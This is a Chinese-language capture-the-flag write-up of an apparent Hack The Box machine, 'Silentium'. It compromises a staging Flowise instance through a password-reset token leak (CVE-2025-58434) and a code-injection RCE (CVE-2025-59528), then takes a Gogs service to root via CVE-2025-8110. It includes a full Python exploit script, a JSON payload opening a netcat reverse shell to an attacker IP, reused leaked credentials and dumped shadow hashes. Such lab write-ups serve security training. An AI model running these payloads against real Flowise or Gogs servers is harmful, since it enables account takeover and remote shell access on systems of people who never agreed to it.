基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sC -sV -Pn 10.129.209.227
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-18 12:44 +0900
Nmap scan report for 10.129.209.227
Host is up (0.077s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.14 seconds

80

需要加hosts：

1
10.129.209.227 silentium.htb

财务相关的：

子域名扫描

子域名可以发现一个staging：

1
2
3
$ ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://silentium.htb/" -H "Host: FUZZ.silentium.htb" -fs 178

staging                 [Status: 200, Size: 3142, Words: 789, Lines: 70, Duration: 82ms]

是Flowise：

直接api查看版本，是3.0.5:

1
2
$ curl http://staging.silentium.htb/api/v1/version
{"version":"3.0.5"}

Flowise

根据版本可以搜到一些漏洞

CVE-2025-58434

首先是CVE-2025-58434，忘记密码功能直接返回密码hash和reset token：

需要邮箱地址，直接根据主站列出的几个团队成员名字构造即可：

1
2
3
4
5
6
7
8
Marcus Thorne
Ben
Elena Rossi

ben@silentium.htb
$2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG

N3u7dOOxkGdMcHe0dsWUcJzTdl0GnNJ5e8yMgd2SIlLjByWSlOBxeREuVQjpfa1w

hash破解不出来，直接用tempToken去设置新密码然后登录：

CVE-2025-59528

然后是CVE-2025-59528 RCE,打到容器内root：

1
{"loadMethod": "listActions", "inputs": {"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require('child_process');cp.execSync('busybox nc 10.10.14.12 4444 -e /bin/sh');return 1;})()})"}}

automate.py

到此为止的一键脚本：from Discord

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import time
import json


#Author: bitterhoney

base_url = "http://staging.silentium.htb"

s = requests.Session()

def forgot_password(): 
    data = {"user":{"email":"ben@silentium.htb"}}
    headers = {"Content-Type": "application/json", "x-request-from": "internal"}

    res = s.post(base_url + "/api/v1/account/forgot-password", json=data, headers=headers)
    
    print(f"[+] Request-URL: {res.url}\n[+] Status-Code: {res.status_code}\n")
    global json_data
    json_data=res.json()
    print(f"[+] Response: {json.dumps(json_data, indent=4)}\n")
    print(f"[+] tempToken: {json_data['user']['tempToken']}\n")

def reset_password():
    data = {"user":{"email": "ben@silentium.htb", "tempToken": json_data['user']['tempToken'], "password": "Password@123"}}
    headers = {"Content-Type": "application/json", "x-request-from": "internal"}
    res = s.post(base_url + "/api/v1/account/reset-password", json=data, headers=headers)
    print(f"[+]Request-URL: {res.url}\n[+] Status-Code: {res.status_code}\n")
    reset_json = res.json()
    print(f"Response: {json.dumps(reset_json, indent=4)}\n")

    if res.status_code == 201: 
        print(f"[+] New Password: {data['user']['password']}\n")

    else:
        print(f"[!] Failed to reset password, Try manually")

def login():
    data = {"email": "ben@silentium.htb", "password": "Password@123"}
    headers = {"Content-Type": "application/json", "x-request-from": "internal"}

    res = s.post(base_url + "/api/v1/auth/login", json=data, headers=headers)
    print(res.text)

def RCE(): 
    login()
    data = {"loadMethod": "listActions","inputs": {"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\'child_process\');cp.execSync(\'busybox nc 10.10.14.12 4444 -e /bin/sh\');return 1;})()})"}}
    headers= {"Content-Type": "application/json" , "x-request-from": "internal"}
    res = s.post(base_url + "/api/v1/node-load-method/customMCP", json= data, headers=headers)
    print(s.cookies.get_dict())
    print(res.text)

 
forgot_password()

reset_password()
RCE()

user flag

docker环境变量里得到密码，密码复用ssh登录宿主机：

1
2
3
4
~ # env
SMTP_PASSWORD=r04D!!_R4ge

$ ssh ben@silentium.htb

Gogs to root

本地开了3000和3001端口，转发出来是gogs：

1
$ ssh ben@silentium.htb -L 3001:127.0.0.1:3001

cve-2025-8110

搜索可以找到cve-2025-8110：

之后就是利用漏洞

因为有验证码，所以手动注册账号登录,稍微修改下代码去掉注册部分

然后exp一键打到root：

1
$ python3 CVE-2025-8110.py -u http://127.0.0.1:3001/  -lh 10.10.14.12 -lp 4444

shadow

1
2
root:$y$j9T$ZiVbnjU.1mwoiXH85J8Ba0$peiSP20P.eeOLeJFK1p9Dv1RJ9Z3yZxNh0gziAF9wR0:20482:0:99999:7:::
ben:$y$j9T$ZXCNHkH0gUjRxBD6m1PWY0$YGEBpvsiBytpat6cZZ1IXH0g6vRSGKcvb5FIBc1qkLA:20482:0:99999:7:::

参考资料